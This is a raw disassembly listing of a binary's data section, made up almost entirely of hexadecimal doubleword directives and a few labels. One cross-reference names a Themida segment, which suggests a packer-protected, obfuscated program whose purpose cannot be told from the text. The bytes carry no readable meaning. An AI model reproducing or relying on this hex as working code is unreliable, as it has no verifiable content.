		dd 4244489h, 4244481h, 14h, 9FC35040h, 8E9h, 68A80D00h
		dd 0EAF4BA02h, 29852944h, 0C707E02Bh, 0E022C585h, 7, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1D04h, 0C3514100h
		dd 0B950160Eh, 0BE45DA41h, 0ACB31B2Ch, 68B0Fh, 8D290000h
		dd 7E02331h, 6D5B5FFh, 6A07E0h,	3E855h,	5D200000h, 6C895DC3h
		dd 44810424h, 1B0424h, 55450000h, 0FD68B9C3h, 7C2F3CDCh
		dd 0CDBD8B1Bh, 0FF07E017h, 0E0209195h, 6DBD8907h, 6A07E008h
		dd 0A995FF00h, 8B07E018h, 6469EBC0h, 581C2B32h,	8F71D240h
		dd 0C18CBFC4h, 4BEAE540h, 4711A1h, 1319C043h, 41E8D414h
		dd 9565247Bh, 18BFF09Eh, 0CB185E72h, 8FB20A4Ch,	2E4BD9FFh
		dd 0E65ED801h, 8CF65BF7h, 0C6F8546Eh, 1C8D1CEEh, 0BEAC92DAh
		dd 0E98A8435h, 0DF25C916h, 801BB06Bh, 0D551A426h, 421BFA4Bh
		dd 4B9EDEA2h, 0C6163C55h, 5534F5ECh, 981BF2Fh, 13E9h, 41950D00h
		dd 3Ch,	3 dup(0)
		dd 523E9h, 0F6B09800h, 6B230ADCh, 0E29A7F51h, 550DF6C8h
		dd 0CD87693Bh, 0C0755EB3h, 380A24DEh, 0AE809A54h, 27F913CBh
		dd 8D6D8741h, 21327FA2h, 0DA4C21D2h, 3ECC640h, 9D4F464Bh
		dd 0FCF6FCB4h, 7CB50316h, 6D52EA99h, 77FABC2h, 0EF2F2F0Dh
		dd 1DC88069h, 0EACCCA17h, 5E441630h, 623C9FA4h,	0C5BCC179h
		dd 25DFC5BFh, 0FDE3BD20h, 41473E43h, 0BDA16047h, 565B13FCh
		dd 0B8AFB45Fh, 7BCAF60Dh, 292B0500h, 0B629767Ch, 0F4DA2C81h
		dd 6B4E203Ah, 0E4C799B3h, 98C4272Ch, 0BFDAA5ACh, 2A242A00h
		dd 89878C46h, 0EDDB90A3h, 9D0B0AD5h, 0CEFEDF2h,	2C594F54h
		dd 0B5E28CD7h, 732B0E58h, 0E7A18759h, 0D5139BE2h, 0E21329B9h
		dd 26F32F8Dh, 5E1C5434h, 29000000h, 0ACB16B4Fh,	630EC8AEh
		dd 452B3B5Dh, 3CE79F84h, 16FAD437h, 9C13565Ch, 8829BAA0h
		dd 66A4FA57h, 915434EAh, 1, 8C442BDBh, 0EAA28987h, 3FFEE7E5h
		dd 0A69DA25Ah, 4E83F6FBh, 0AFC0A7F1h, 0C6A942EFh, 0E12090Eh
		dd 9CBFE7D8h, 29BA6A15h, 0B8630E61h, 25E6CC9Eh,	0C2DC8741h
		dd 8F492BC8h, 0EDA58C8Ah, 734D80E8h, 4224D68Eh,	868C8388h
		dd 886ABC11h, 0FCE2B4CEh, 9A9F593Bh, 7E1F8A3h, 1360661Eh
		dd 73783015h, 359B617h,	5434E8D7h, 0A6674B25h, 0A0106C0h
		dd 5D635A5Fh, 70D9h, 492B2300h,	10203636h, 0E5C7277Bh
		dd 842F262Bh, 0F1D6D4D9h, 5707AACDh, 1C6F29BAh,	0C4F96C71h
		dd 813B1D6Fh, 0F9B39567h, 550DF6F4h, 0B56D5250h, 17CFB2B0h
		dd 0C61AA12h, 0F350B1C1h, 34A2719Dh, 5C9A54h, 7BA70000h
		dd 51BF633h, 6A8C92EEh,	8A8F492Bh, 0DAF1A98Ch, 0A139789Bh
		dd 0F24529BAh, 0CE6D9FECh, 545911F4h, 8DE2575Dh, 859F593Bh
		dd 8C442B8Bh, 0FDE04975h, 3010A58Ah, 1896DD2Ah,	0C29BA99h
		dd 0FA2886DBh, 3A5434E2h, 0B9F38F0Eh, 959B1A18h, 911h
		dd 60441E00h, 5500B89Fh, 462B2D4Fh, 1538778Eh, 29BAA09Ch
		dd 3C898FE2h, 999E583Eh, 0E5608CA3h, 545D8017h,	2A29BA48h
		dd 0FC85D3D7h, 0B36B5002h, 91DB38ADh, 0AEDAF4ACh, 8BAEC562h
		dd 2E5A1BDFh, 0C3C1C619h, 370923DDh, 0A6809751h, 0A0106C0h
		dd 3F70B704h, 2821DA1Ch, 0E12B5D89h, 46124A43h,	0F5FBA660h
		dd 0F3D92380h, 0E6914932h, 114FACCh, 7FC35A9Bh,	989D480Bh
		dd 0F5FAB49Ah, 9E805A8Dh, 7AACDE4h, 6F21D9D0h, 4CA1161Ch
		dd 435A14FAh, 0C9CE8669h, 8C6ACCD2h, 53D43B5Eh,	15E79h
		dd 24478600h, 21D9C38Dh, 6E9096E9h, 0D9F04FD1h,	5A8720B6h
		dd 573C962Eh, 0F1EFF49Fh, 6537510Bh, 0C2C0C57Fh, 0B51D22DCh
		dd 0DFC5176Ch, 95D40B25h, 0DA7B3F72h, 0FBDD3721h, 9A453C41h
		dd 50523696h, 0D9DF5EE8h, 0D46497D3h, 75C053h, 0C60A0000h
		dd 484E08ECh, 0F9102DF4h, 0BF0CB7CDh, 0F5FBDDB4h, 0F5185796h
		dd 29BA8DBCh, 0D1E003C2h, 0AD29BA8Dh, 66A9AF5Ah, 56454B6Bh
		dd 5EDB27D3h, 96F80113h, 15FAD4EBh, 0C30A575Dh,	0A9BB20EEh
		dd 70CC4ADh, 78612009h,	121015C0h, 7970752Dh, 6DBF145Dh
		dd 0D3CACF89h, 2A874828h, 839A9B86h, 45DE7160h,	607ACDD6h
		dd 5189FD29h, 0EBC95A1h, 9DDE08h, 0D1740000h, 0FFD9F04Fh
		dd 0FE5D631Dh, 5AA4BFDBh, 6166B92Eh, 0A9C37D63h, 3237F1D7h
		dd 0DA9CE1EBh, 0E09A7C21h, 3EF6DDDBh, 9A523B39h, 236EC3F0h
		dd 205F9E3Dh, 0DA9CB4FDh, 7C77CA21h, 21DA9D35h,	73E8EE41h
		dd 2CE6CC1Eh, 0FD3AE612h, 1C9FC3E6h, 86D92672h,	61441E81h
		dd 1E41A4A9h, 29B21C93h, 0E7ED98EBh, 0BEE107EDh, 29B21CF3h
		dd 0FE21388Bh, 29B21CB3h, 0C8CD78CBh, 0A448A5D2h, 0CEA8BF7Ch
		dd 0CC2B31E9h, 13CDB38Dh, 9C98CA0Dh, 84DE2E49h,	7FE2E79Fh
		dd 0DA9D555Ch, 23CE2121h, 0D1645E78h, 0A922974Fh, 9C1D924Ch
		dd 9557B629h, 0B45F0A20h, 9F845E9Dh, 9B69618Eh,	3BE60661h
		dd 2270F235h, 93E62E51h, 97AA908Eh, 36259EE9h, 41EC9CFh
		dd 8E09A1CDh, 0EA7DA931h, 4A04EAE4h, 0BC13FE45h, 0E61B0A2Ah
		dd 98593F89h, 0FCF3F8B2h, 7A603A51h, 0BEC4BBC0h, 0EAA48A5Ch
		dd 0C4A882E5h, 0BB661E03h, 666C2409h, 0DBC4836Ch, 7C271E23h
		dd 0FF548177h, 0F30DC7ADh, 967A3B21h, 35E0D7DCh, 30230h
		dd 24980000h, 89432B66h, 0E6A08684h, 4800E3E1h,	0A7614543h
		dd 8C2A4A2h, 69230503h,	0C57D6664h, 25DDC2C0h, 833B2220h
		dd 54526D7Eh, 4C2815Ah,	83000000h, 148704EAh, 0EE685C24h
		dd 89000017h, 90682414h, 89000054h, 0BF57240Ch,	65292B85h
		dd 0ABE8F781h, 0FA8962C1h, 4EC815Fh, 89000000h,	4812424h
		dd 424h, 0EC835900h, 24148904h,	8B08418Fh, 8952240Ch, 4C281E2h
		dd 81000000h, 4C2h, 24148700h, 2434FF5Ch, 4C4835Ah, 0F7FB52E9h
		dd 0B096C0FFh, 0B150DE9Ch, 0E8851EB8h, 0FFC50307h, 35FB01E0h
		dd 208F131Bh, 0E14EDC5Ch, 50B7FA07h, 498D8D0Ch
		db 86h,	0E8h, 7
byte_5D4D5B	db 0Fh			; DATA XREF: ___:off_43DCA8o
					; ___:off_43DCBCo
		dd 8D89C7BFh, 7E01815h,	13F5B589h
aREiRXb		db 'à',7,'Ç…I à',7,'xb',0 ; DATA XREF: Themida_:0055D91Eo
		align 4
		dd 0FE9h, 0B7A77B00h, 0BEC7C1FDh, 77EFD7BEh, 0E6A43D4Dh
		dd 22C585C7h, 7E0h, 8E0F0000h, 21h, 0F9D8BE60h,	14E810A6h
		dd 3B000000h, 55AD6B2h,	2ADA4456h, 1567D184h, 0E1577E57h
		dd 58A54B4Eh, 0A1B5FF61h, 8B07E007h, 0E02FF185h, 9195FF07h
		dd 6A07E020h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1B042444h, 40000000h, 1CAAC350h, 0FA85CFA9h,	6A3D95h
		dd 18A995FFh, 0C08B07E0h, 579D1BEBh, 1D3FB9B6h,	420EDFA2h
		dd 6C9563D7h, 8CF8EA20h, 819151A8h, 0F69BB0EBh,	10EBCCh
		dd 3 dup(0)
		dd 8B000000h, 50006AC0h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1804h, 0C3504000h, 89E48D74h, 0BD83FC53h, 7E006B1h
		dd 83097500h, 0E001C5BDh, 19740007h, 0C08B5350h, 42DB8h
		dd 0F5858900h, 8D07E020h, 0E2BC629Dh, 5BD3FF07h, 0C5BD8358h
		dd 7E001h, 53501774h, 42DB8h, 0F5858900h, 8D07E020h, 0E2B9519Dh
		dd 5BD3FF07h, 53006A58h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1404h, 0C3534300h, 68B0FF2h,	8B000000h, 0E01C95B5h
		dd 56006A07h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1904h
		dd 0C3564600h, 353CA2E8h, 8BF877CAh, 55006AC0h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1704h,	0C3554500h, 0F9DE9706h
		dd 0BFB3D5BAh, 0F3B70F00h, 2CD98D8Bh, 6A07E0h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h
		dd 0F618C3C3h, 2B07B1D3h, 0E02891B5h, 0F98307h,	7C840Fh
		dd 9D890000h, 7E000ADh,	2C3D8B64h, 6A000000h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 18042444h, 45000000h
		dd 4FBEC355h, 8BB78012h, 0E01555B5h, 3810F07h, 0F000000h
		dd 0FF0BF0B7h, 38840Fh,	29500000h, 0E034759Dh, 3F8B5A07h
		dd 8B0Fh, 14E90000h, 1C000000h,	0B8B18A9Ch, 1591DD22h
		dd 82DBF451h, 73CC1849h, 32678A42h, 8D8BBAC0h, 0AAF333DEh
		dd 2CE9958Bh, 493507E0h, 0BA535041h, 62FA7B19h,	75985C6h
		dd 6A4707E0h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1A042444h, 45000000h, 2445C355h, 9E241E3Fh, 13E9B1h
		dd 0E5610000h, 4462B871h, 10BF38B6h, 85192A01h,	0A880FDC4h
		dd 0E8D5B205h, 4, 0DCD6882Ch, 90BABA66h, 24448B50h, 48B0F04h
		dd 66000000h, 8BEFF2BEh, 4FB8BE00h, 44896EA7h, 52500424h
		dd 4FB5BF60h, 5E521F9Ch, 66310F61h, 585AF38Bh, 0AE858h
		dd 0B9720000h, 0C4FDA033h, 8EAC4235h, 0BE9h, 56D3ED00h
		dd 3805EEAh, 56E5F46Bh,	2DB5FF5Eh, 6A07E029h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h
		dd 1320C351h, 48DA32CDh, 0D8B71C58h, 1341B589h,	858D07E0h
		dd 7E37FE8h, 0FFD7BF0Fh, 0F28166D0h, 5E9BE9Bh, 16000000h
		dd 67A18952h, 2C758589h, 0F78B07E0h, 75985C6h, 6A5307E0h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 17042444h
		dd 41000000h, 78F1C351h, 950B360Bh, 7E01455h, 0BFA49268h
		dd 0F38B6625h, 6A240481h, 962D8C6h, 0E0342585h,	2DB5FF07h
		dd 0F907E029h, 7FE8858Dh, 0EE8107E3h, 76BCB818h, 8589D0FFh
		dd 7E0344Dh, 48AD858Dh,	8A0F07E3h, 6, 8E2AC281h, 85892BF0h
		dd 7E007E1h, 14E9h, 0E1E51100h,	0F09D6ACCh, 0DC55EBA4h
		dd 2F884F14h, 53EB7AA8h, 6A206A87h, 0E195FFFFh,	3507E007h
		dd 53504149h, 155185C7h, 107E0h, 85C70000h, 7E007A9h, 0
		dd 143DB58Bh, 0BE6607E0h, 8B665E17h, 15858BD0h,	8907E016h
		dd 0E01BC5B5h, 0A36407h, 0F000000h, 68Bh, 0C9B58B00h, 8307E025h
		dd 0E02FF5BDh, 840F0007h, 19h, 154DBD89h, 858B07E0h, 7E02B71h
		dd 1CD9589h, 0E08B07E0h, 8A137ABEh, 0A9BD834Fh,	7E01Ch
		dd 412850Fh, 9D890000h,	7E023B1h, 75985C6h, 895607E0h
		dd 0E028F985h, 4E807h, 30DF0000h, 9E9A9C5h, 0CE000000h
		dd 4182A327h, 7A6574Dh,	9E850h,	91E80000h, 7B8CF9FAh, 0E9668441h
		dd 0Bh,	5B4B4C5h, 0BEC29100h, 5E9A6AF3h, 424448Bh, 51C58DBAh
		dd 66008B77h, 4489D18Bh, 0BA660424h, 0FF589E5Ch, 0E0292DB5h
		dd 8DF38B07h, 0E37FE885h, 56006A07h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1404h,	0C3564600h, 0CD952386h
		dd 0FF07E000h, 82BA66D0h, 0E9509062h, 13h, 0ABB7801h, 98891BD7h
		dd 0B338BA3Eh, 0A8B530C7h, 90B6B160h, 7558589h,	8D8D07E0h
		dd 7E00585h, 2CFE60BAh,	0BA665045h, 0C89ECD0h, 56006A24h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1C04h, 0C3564600h
		dd 7DB86224h, 0F86F09DAh, 6060B2DBh, 18F780FCh,	0E9046A61h
		dd 0Ch,	497FD651h, 5B5DFFF3h, 51A93604h, 17573768h, 10E9DDh
		dd 8C2D0000h, 0C960904Fh, 0F318F69Fh, 0F08BB39Ch, 481C082h
		dd 0E8B8C924h, 55006A22h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1D04h, 0C3554500h, 13E63261h, 0D449963Bh
		dd 0FFF506CFh, 0E00465B5h, 0F2BF0F07h, 0EB2D0FFh, 465BD8Bh
		dd 890F07E0h, 6, 739B58Bh, 7F0307E0h, 6A54BA3Ch, 0C7813F2Eh
		dd 0F8h, 30E9B58Bh, 47C707E0h, 2024h, 0D0B70F60h, 0E2DABA66h
		dd 866BBD83h, 0F0007E8h, 1CD84h, 55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1704h,	0C3554500h, 0CF306183h
		dd 1705B58Bh, 0C78307E0h, 52006A28h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1C04h,	0C3524200h, 69383034h
		dd 12EB5B3Ah, 0B58B52E4h, 7E028EDh, 68F0F5Ah, 81000000h
		dd 0C78F85E6h, 2E07C725h, 8B64696Ah, 0E0197DB5h, 447C707h
		dd 617461h, 858BD18Bh, 7E88673h, 0E850006Ah, 3,	58C35820h
		dd 4244489h, 4244481h, 15h, 1BC35040h, 0C4789FDh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 83C35343h, 7C333597h
		dd 0BCC6E63Fh, 0EE828h,	0D12A0000h, 480D736Dh, 1E3F2445h
		dd 64B19E24h, 6928BE66h, 1D9D895Eh, 8B07E030h, 0E8867785h
		dd 53006A07h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1704h
		dd 0C3534300h, 1463486Bh, 0FD1B70Fh, 4789D0BFh,	8D952908h
		dd 8307E030h, 6A28C7h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 170424h, 51410000h, 55C73EC3h, 5D9D09D0h, 0C707E023h
		dd 6F632E07h, 7D85296Eh, 0C707E010h, 69660447h,	0B58B0067h
		dd 7E02021h, 866F858Bh,	9D3107E8h, 7E01469h, 6A0C4789h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1C042444h
		dd 47000000h, 2338C357h, 824B5D2Fh, 89558659h, 0E02C9DBDh
		dd 6B858B07h, 0F07E886h, 68Eh, 218D8900h, 8B07E033h, 0E020A195h
		dd 8478907h, 13E8h, 4149BD00h, 5BDB5BCAh, 26BE1EAh, 0DAF1B56Bh
		dd 0FCD986D5h, 0F5EF28Bh, 586h,	0CA816600h, 6058D1C5h
		dd 6F19D23h, 895307E0h,	0E0069D95h, 8D615B07h, 0E001FD8Dh
		dd 6E907h, 848F0000h, 0A9F29C24h, 0DE9h, 79B86E00h, 0B47A0381h
		dd 0C3A14D33h, 5250C260h, 0C890Fh, 7E90000h, 0BD000000h
		dd 181885E5h, 895ABE35h, 0FFF5240Ch, 0E00585B5h, 5860F07h
		dd 66000000h, 3B44D681h, 0D12C3F68h, 4BBE66E6h,	2404815Eh
		dd 192EE3C1h, 0B5FFC4B2h, 7E00465h, 0E857006Ah,	3, 5FC35F20h
		dd 4247C89h, 4244481h, 15h, 23C35747h, 0D95011Eh, 6607E024h
		dd 83C6D681h, 0C681D0FFh, 1C23F84Fh, 0B8h, 50006A00h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1504h, 0C3504000h
		dd 0BFC06EBh, 24840FC0h, 8B000000h, 0E0194DB5h,	1B5FF07h
		dd 0F07E01Ch, 682h, 0C5958B00h,	0FF07E02Fh, 0E0209195h
		dd 11958B07h, 8B07E00Eh, 0EE8C0h, 0D74F0000h, 13053C6h
		dd 0EE524D4Ah, 64BA9230h, 19B58Bh, 835E07E0h, 0E006B1BDh
		dd 9750007h, 1C5BD83h, 740007E0h, 8B535019h, 42DB8C0h
		dd 85890000h, 7E02399h,	0BCC99D8Dh, 0D3FF07E2h,	0BD83585Bh
		dd 7E001C5h, 50177400h,	42DB853h, 85890000h, 7E02399h
		dd 0B96A9D8Dh, 0D3FF07E2h, 6A585Bh, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 140424h, 53430000h, 858923C3h
		dd 7E001F9h, 6AC08Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1D0424h, 56460000h, 0EE8929C3h, 247F1B1Dh, 8A0F6E69h
		dd 519589F7h, 8B07E02Ch, 0E98D8DC0h, 8B07E88Fh,	0E0076185h
		dd 158D8907h, 6A07E018h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 16042444h, 45000000h, 19D2C355h, 4595899Dh
		dd 0C707E007h, 0E0204985h, 684007h, 8A0F00h, 0C7000000h
		dd 0E022C585h, 7, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1D04h, 0C3574700h, 0D85BD110h, 4AC2E5E8h
		dd 0B5FFA6C0h, 7E01261h, 0D68166FCh, 95FFE226h,	7E02091h
		dd 7E9h, 98B35B00h, 0ACC8138h, 18850Fh,	13E90000h, 88000000h
		dd 0F38389B4h, 0CFD19C19h, 135270BDh, 0C600A4E7h, 6A40A6h
		dd 18A995FFh, 0C08B07E0h, 138438EBh, 886214D1h,	31D0B5E8h
		dd 17492BD5h, 0F615A49Ah, 43945E96h, 0D1239AB4h, 1D17684h
		dd 4D03A219h, 9D9042F1h, 0EA12E9EEh, 0A143AFB2h, 14FB1B59h
		dd 0A0F17B5Ch, 8D8DFE0Bh, 7E890ECh, 0E852006Ah,	3, 5AC35A20h
		dd 4245489h, 4244481h, 1Dh, 80C35242h, 519AA68h, 6E119693h
		dd 0DF805747h, 8D895B7Eh, 7E01815h, 204985C7h, 648007E0h
		dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h
		dd 57470000h, 21E180C3h, 40D2C97Dh, 0BE9h, 0F88E9700h
		dd 0EB9789F0h, 0EB7E837Eh, 9CD68166h, 0C585C7E0h, 7E022h
		dd 0B000000h, 0E0014985h, 0C5B5FF07h, 6A07E023h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 15042444h, 41000000h
		dd 0E228C351h, 2911BD01h, 95FF07E0h, 7E02091h, 89FEB70Fh
		dd 0E013959Dh, 0FF006A07h, 0E018A995h, 0EBC08B07h, 17DBC71Ch
		dd 7BF80F0Ch, 2377456Dh, 8A8D6ADCh, 0CC8F8998h,	94F39058h
		dd 4D2DC2C6h, 0CE86Bh, 0D2270000h, 733E83BEh, 9B134694h
		dd 840F2B0Bh, 0Ch, 0DFBB6660h, 8F0F95h,	61000000h, 0A995895Fh
		dd 8107E011h, 6F35C7h, 0B8666000h, 0B9616EBDh, 1690EB92h
		dd 0F00CF181h, 17B81690h, 8B0A2460h, 9DBA6637h,	49EE81B1h
		dd 8B2DBBA0h, 0E0059595h, 1EC68107h, 8A5BDB6Ah,	8EC681F1h
		dd 0B211635Dh, 8A3789F6h, 2AEF81FDh, 8961AD43h,	0E025D58Dh
		dd 26C78107h, 6661AD43h, 832353BAh, 850F01E9h, 19h, 30659529h
		dd 30E907E0h, 0D000000h, 0A970BA46h, 0F63721DBh, 3A7CC040h
		dd 0AE870h, 0A1BC0000h
		dd 94F7199Ch, 0E20B0CAh, 28F0Fh, 0C28B0000h, 0FF85E958h
		dd 0DE9DFFFFh, 0E9C4C9E7h, 2Fh,	25A5300h, 0Ah dup(0)
		dd 0E9000000h, 588h, 7B954F37h,	0F00AC2A9h, 6781391Eh
		dd 0DAF4AC95h, 526C2608h, 7D5FD4FDh, 0F3D7A9C3h, 6A4D1F39h
		dd 0E0C698B2h, 412C0C26h, 0D20E931Eh, 0A279EB21h, 8ED4E5C8h
		dd 19CBC0ACh, 0AB0E13BEh, 0D1C92988h, 57025521h, 0ECC62F51h
		dd 0B39C4E08h, 15FBF5FBh, 846A445Bh, 7D28E0C3h,	2E7B8178h
		dd 520AF1CBh, 0B670524Ch, 23E4CA9Ch, 0D7DC8741h, 3439F3D9h
		dd 0ED13F7D1h, 0BAA0E7CAh, 913C8F29h, 958F958Ch, 0F3F1F6AEh
		dd 0E9C8EB11h, 9529BAA0h, 94929742h, 0C8F4F9B1h, 4067AA07h
		dd 7E64B60Bh, 0F5D8AAC4h, 6E51233Dh, 21609FB6h,	0BAA0B3FEh
		dd 7D78CB29h, 29BAA134h, 0A4F1F74Ah, 0C67E6741h, 0CFE2C6C0h
		dd 0DAEF2947h, 6B822D65h, 0B46E522Ch, 0B9E3F8B9h, 252B7E29h
		dd 3FF7DAD8h, 9E583C3Ah, 9F0A299h, 29564C51h, 0C8DF89D4h
		dd 484E08EEh, 492C7ED3h, 0B0E3D38h, 721D44BAh, 7AA08658h
		dd 0BA955A57h, 26D12429h, 954F350Fh, 424800E3h,	9500AEF5h
		dd 0F32429BAh, 0E602409Eh, 78525434h, 0DED5DA94h, 6354D8h
		dd 2B9E0000h, 3F868B45h, 29BAA170h, 0D02E83B4h,	5434EA92h
		dd 652608E2h, 1419C47Ch, 95238EB1h, 85B29BAh, 1D3575Dh
		dd 1D000000h, 9E85442Bh, 38363BE6h, 31949951h, 0DF7CE705h
		dd 3A4061BFh, 889F5740h, 0B10CAAEh, 4EC10E14h, 8B72C419h
		dd 9790BCD3h, 1FF3A18Ah, 0E51C7E84h, 676D270Bh,	0B3CD876Dh
		dd 8F492BB9h, 0C5E8278Ah, 29BAA0ECh, 9C563892h,	0EFF5A097h
		dd 51560EF5h, 0FADCB6E9h, 92443B40h, 76EBF1A9h,	82B6A19h
		dd 29BAA0A9h, 0E93429D5h, 31F1EE06h, 0A4868086h, 0D53BD591h
		dd 0B9645E63h, 2DE7CD9Fh, 34452A28h, 6DA5969Bh,	573CEE6Dh
		dd 93EFF49Fh, 4C26DD32h, 0AFA6AB63h, 4B77A3A9h,	84A05434h
		dd 0EA000000h, 4D6487C6h, 4E29BAA1h, 88DBB26Ch,	0ECA68882h
		dd 3E7396D5h, 3829BAA1h, 9742FCDEh, 61464491h, 0D4B892A9h
		dd 54C7141Ah, 9678C21Fh, 6386C5DCh, 29BAA14Eh, 6DCFD528h
		dd 12F8B99Bh, 0BC96AD58h, 0CD1A20DAh, 292EE6CFh, 0B9176CCDh
		dd 5434E89Dh, 0E2F1AFDBh, 0EBEE984Dh, 5D61E5h, 2BAB0000h
		dd 39788F49h, 0BAA09B16h, 1D37E329h, 0EC2F29ECh, 5AA7AD58h
		dd 0BCC1795Ch, 2E78D58Ah, 0EEA68B4Ch, 0C62F2943h, 4B500AECh
		dd 0F6525054h, 7C2A0DECh, 84957C76h, 1F61EE6Fh,	0F8FDA836h
		dd 0B9BAFDB1h, 9BF82929h, 340C1945h, 997D5754h,	0A3FEDBDFh
		dd 591AF690h, 1CF53h, 0C6190000h, 0F05D8C9Ah, 564D520Ch
		dd 6E1C6B52h, 0D1896E68h, 2EE8CECCh, 0A9063329h, 0A8C27A5Fh
		dd 8097947Ch, 0C7816741h, 3719CBC2h, 7B81787Dh,	5A4B3238h
		dd 4259AC2Eh, 0C1C77F68h, 0CF907674h, 8F472AEBh, 0E81F39E4h
		dd 32EACFA9h, 763B362Dh, 21DA4Bh, 4B931E41h, 98EB21DAh
		dd 7EDE7EDh, 0AE01484Dh, 0BD21DA4Bh, 7B61AB08h,	0EFD5A7C1h
		dd 4C323035h, 45F0A88Bh, 328FD840h, 1C0A983h, 6A61661Eh
		dd 0BDC3BABFh, 923DDC3h, 0D4BFFF2Bh, 8E113D53h,	0D17FC032h
		dd 0FFFEB3D6h, 257821D9h, 2FF0747Ah, 3A000001h,	0D9F04FD1h
		dd 0A13A779Ah, 0F14429BAh, 6D698CEBh, 0CB2E5A87h, 8F757378h
		dd 0FEE4BED5h, 0ADC3E44h, 67656A24h, 23DBC081h,	0FF226178h
		dd 21DA7AB2h, 7B520AF1h, 0E43A2428h, 447E4564h,	4089F13Eh
		dd 0F2B399E3h, 5A515610h, 8BB795AFh, 0A453D459h, 4Bh, 624F72B1h
		dd 1C21D9E2h, 793317C9h, 55777D74h, 0D8EF4ED1h,	455E1CB5h
		dd 4A4FA256h, 0BAA1AE03h, 0A1FEBFA9h, 702F18F2h, 0D3CACF87h
		dd 262C2328h, 0D7EE4FD2h, 455F1DB4h, 2F4699D6h,	4C6D1203h
		dd 212727A0h, 90BDBFh, 0D1530000h, 0B6D9F04Fh, 2E5AA4E4h
		dd 0A35B401Ah, 99183B9Eh, 0E521DA9Ch, 0C2E1E792h, 866C6A6Fh
		dd 0DA03D473h, 8061F1CFh, 2D0F13EDh, 0ED07B2B4h, 767B351Bh
		dd 0DA239D2Fh, 0F24F0421h, 0EE08C2A8h, 6C885EC2h, 0A0CB5AEDh
		dd 75654D75h, 43EEC8ADh, 0EBF0A891h, 0F33249F4h, 0F1B075C7h
		dd 8086D41Dh, 722BA83Dh, 748BDE26h, 0F4F9B19Ah,	0ACAAF7FDh
		dd 11070CC6h, 3DE38FE4h, 85A8E7FEh, 29B20D2Ch, 0D3D89077h
		dd 0ACB205DCh, 9BBB2A4Dh, 0E83B2E49h, 4FD1D4CEh, 1BFFD9F0h
		dd 61655C61h, 47A201F8h, 5DBCC2FBh, 51ECAB3Ah, 0D3D82B2Eh
		dd 1B35EFD5h, 0A4A96349h, 1F93915Dh, 0D629724h,	11BD5BBh
		dd 49688BCAh, 3527608Bh, 0FCE2DCE2h, 969B553Bh,	0F1EFF49Fh
		dd 0AC644908h, 0D906FC01h, 924C3284h, 1BBA17Bh,	9DFF05FCh
		dd 262BE5CBh, 3F8h, 66248E00h, 8489432Bh, 0E1E6A086h, 434800E3h
		dd 0A2A76145h, 308C2A4h, 64692305h, 0C0C57D66h,	2025DDC2h
		dd 7E833B22h, 399D686Dh, 1C890000h, 6CCF6824h, 3C890000h
		dd 4EC8324h, 0BF241489h, 57962F16h, 2B97CF81h, 0F7812779h
		dd 2F2F0774h, 2414F757h, 0E5CF815Fh, 812A9258h,	3D4A41E7h
		dd 0CBC78110h, 6807AB47h, 74Eh,	83242489h, 5A042404h, 6A5268h
		dd 243C8900h, 8B08428Fh, 89502414h, 405E0h, 4050000h, 87000000h
		dd 0FF5C2404h, 835F2434h, 54E904C4h, 82FFF7E9h,	62B61EC1h
		dd 1B229662h, 0A663D26Ah, 0E89711B8h, 0FFC50307h, 1C8112E0h
		dd 4596B968h, 0EBD71358h, 6E26B462h, 9BFF2A48h,	8EA9DE35h
		dd 0A1859647h, 2E8DB663h, 0F271EA26h, 0EA8D8D43h, 6A07E898h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 17042444h
		dd 46000000h, 0E8E1C356h, 0BD8BB6C4h, 7E01FEDh,	18158D89h
		dd 6A07E0h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h
		dd 55450000h, 1FCB39C3h, 1C39444Bh, 0BF6D9AC6h,	4E77E539h
		dd 204985C7h, 644007E0h, 6A0000h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 160424h, 50400000h, 0A76703C3h, 22C585C7h
		dd 7E0h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h,	44810424h
		dd 1B0424h, 53430000h, 2A0B0CC3h, 8480C98Bh, 0C58D8977h
		dd 0F07E031h, 1182h, 9E800h, 58F30000h,	38FBFF61h, 606E458Ah
		dd 0B5FF5A61h, 7E004A9h, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 1Bh, 83C35646h, 0D59DB01h,	292869C6h, 0E023958Dh
		dd 9195FF07h, 6A07E020h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 18042444h, 41000000h, 94C5C351h, 6A0D9980h
		dd 0A995FF00h, 8B07E018h, 9A5EEBC0h, 0F4AFBE1h,	361B0E56h
		dd 90244816h, 0AA7A31AFh, 5269C073h, 99264FF2h,	92881C7Bh
